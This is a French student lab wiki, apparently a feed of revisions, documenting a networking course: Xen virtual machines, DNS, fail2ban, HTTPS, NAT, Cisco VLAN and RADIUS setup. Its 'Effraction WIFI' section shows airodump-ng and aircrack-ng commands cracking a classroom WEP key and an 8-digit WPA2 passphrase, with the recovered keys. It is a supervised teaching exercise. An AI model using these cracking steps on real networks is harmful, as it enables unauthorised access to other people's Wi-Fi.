ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l'adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s'interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12258</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12258"/>
		<updated>2026-02-12T15:09:00Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
=== Infos concernant notre binôme : ===&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Sur capbreton ===&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine de service ===&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/network/interfaces&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24&lt;br /&gt;
    gateway 192.168.69.1&lt;br /&gt;
    &lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
